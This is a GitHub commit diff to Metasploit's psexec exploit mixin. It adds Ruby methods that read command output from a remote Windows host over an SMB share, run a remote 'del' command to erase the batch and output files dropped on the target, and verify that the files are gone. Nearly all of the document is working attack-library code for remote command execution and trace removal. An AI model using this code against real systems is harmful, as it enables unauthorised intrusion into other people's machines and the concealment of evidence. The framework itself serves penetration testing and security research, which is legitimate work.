Skip to content

Commit 13140d0

Browse files
Royce DavisRoyce Davis
authored andcommitted
Added some methods for checkout output and cleanup
1 parent c262288 commit 13140d0

File tree

1 file changed

+73
-4
lines changed

1 file changed

+73
-4
lines changed

lib/msf/core/exploit/psexec.rb

Lines changed: 73 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,19 +2,43 @@
22

33
module Msf
44

5-
###
6-
#
5+
####
76
# This module alows for reuse of the psexec code execution module
87
# This code was stolen straight out of psexec.rb.Thanks very much for all
98
# who contributed to that module!! Instead of uploading and runing a binary.
10-
###
9+
####
1110

1211
module Exploit::Remote::Psexec
1312

1413
include Msf::Exploit::Remote::DCERPC
1514
include Msf::Exploit::Remote::SMB
1615

17-
# This method runs a single windows command fed into the #{command} paramater
16+
# Retrives output from the executed command
17+
# @param smbshare [String] The SMBshare to connect to. Usually C$
18+
# @param ip [IP Address] Remote Host to Connect To
19+
# @param file [File name] Path to the output file relative to the smbshare
20+
# Example: '\WINDOWS\Temp\outputfile.txt'
21+
# @return output or nil if fails
22+
def get_output(smbshare, ip, file)
23+
begin
24+
print_status("Getting the command output...")
25+
simple.connect("\\\\#{ip}\\#{smbshare}")
26+
outfile = simple.open(file, 'ro')
27+
output = outfile.read
28+
outfile.close
29+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
30+
return output
31+
rescue StandardError => output_error
32+
print_error("Error getting command output. #{output_error.class}. #{output_error}.")
33+
return nil
34+
end
35+
end
36+
37+
38+
# This method executes a single windows command. If you want to
39+
# retrieve the output of your command you'll have to echo it
40+
# to a .txt file and then use the get_output method to retrieve it
41+
# Make sure to use the cleanup_after method when you are done.
1842
# @param command [String] Should be a valid windows command
1943
# @return true if everything wen't well
2044
def psexec(command)
@@ -127,6 +151,51 @@ def psexec(command)
127151
simple.disconnect("IPC$")
128152
return true
129153
end
154+
155+
# This is the cleanup method, removes .txt and .bat file/s created during execution
156+
# @param smbshare [String] The SMBshare to connect to. Usually C$
157+
# @param ip [IP Address] Remote Host to Connect To
158+
# @param text [File Path] Path to the text file relative to the smbshare
159+
# Example: '\WINDOWS\Temp\output.txt'
160+
# @param bat [File Path] Full path to the batch file created
161+
# Example: 'C:\WINDOWS\Temp\batchfile.bat'
162+
# @return only in the event of an error
163+
def cleanup_after(smbshare, ip, text, bat)
164+
begin
165+
# Try and do cleanup command/s
166+
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
167+
print_status("#{peer} - Executing cleanup...")
168+
psexec(cleanup)
169+
if !check_cleanup(smbshare, ip, text)
170+
print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.")
171+
else
172+
print_status("#{peer} - Cleanup was successful")
173+
end
174+
rescue StandardError => cleanuperror
175+
print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}")
176+
print_error("#{peer} - Make sure to manually remove files from the target")
177+
return cleanuperror
178+
end
179+
end
180+
181+
# Make sure the cleanup command worked
182+
# This method should only be called from within cleanup_after
183+
def check_cleanup(smbshare, ip, text)
184+
simple.connect("\\\\#{ip}\\#{smbshare}")
185+
begin
186+
if checktext = simple.open(text, 'ro')
187+
check = false
188+
else
189+
check = true
190+
end
191+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
192+
return check
193+
rescue StandardError => check_error
194+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
195+
return true
196+
end
197+
end
198+
130199
end
131200

132201
end

0 commit comments

Comments
 (0)